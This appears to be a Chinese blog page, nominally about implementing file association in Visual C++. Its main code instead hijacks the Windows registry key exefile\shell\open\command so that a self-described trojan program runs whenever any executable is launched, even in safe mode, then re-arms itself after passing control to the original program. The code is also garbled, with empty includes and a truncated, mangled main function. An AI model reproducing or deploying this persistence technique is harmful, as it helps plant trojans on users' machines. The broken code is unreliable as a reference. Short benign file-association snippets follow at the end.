vc 實現檔案關聯

2021-06-08 10:03:15 字數 747 閱讀 6945

#include

#include

int main(int argc,char *argv)

}//上面的函式是把字串中所有的"\"變為"\\"

char str="\"%1\" %*";  

regsetvalue(hkey_classes_root,"exefile\\shell\\open\\command",reg_sz,(lpctstr)str,strlen(str)+1);

// 在執行原有程式之前必須把登錄檔恢復,否則用shellexecute還是執行我們的木馬程式。

shellexecute(null,"open",temp,null,null,sw_show);//執行原有的程式

//在程式執行完成後,再把登錄檔改為我們要啟動的木馬程式的

tchar filename[256];

// 得到程式全路徑名

getmodulefilename( null, filename, 255 );

strcat(filename," \"%1\" %*");

regsetvalue(hkey_classes_root,"exefile\\shell\\open\\command",reg_sz,(lpctstr)filename , strlen(filename) + 1);

//經過上述過程只要程式一執行就會執行我們的start 程式了。即使是在安全模式下只要執行可執行程式就會執行我們的程式了。

return 0;

}

vc 實現檔案關聯

include include int main int argc,char argv 上面的函式是把字串中所有的 變為 char str 1 regsetvalue hkey classes root,exefile shell open command reg sz,lpctstr str,st...

VC檔案關聯小結

最近的工程中要用到了vc中關於檔案關聯的操作,費了不少周折,這裡就簡單做乙個小結。1 使用enableshellopen自動完成登錄檔的註冊資訊 enable dde execute open enableshellopen registershellfiletypes true 通常情況下,也有加...

C 實現檔案關聯

和其他語言一樣,c 實現檔案關聯同樣需要直接操作登錄檔,即按規則分別設定副檔名,文件型別說明,友好名稱,圖示,呼叫方法等鍵值即可,網上隨便查查就可以寫出以下的 using microsoft.win32 key registry.classesroot.createsubkey jeebook.re...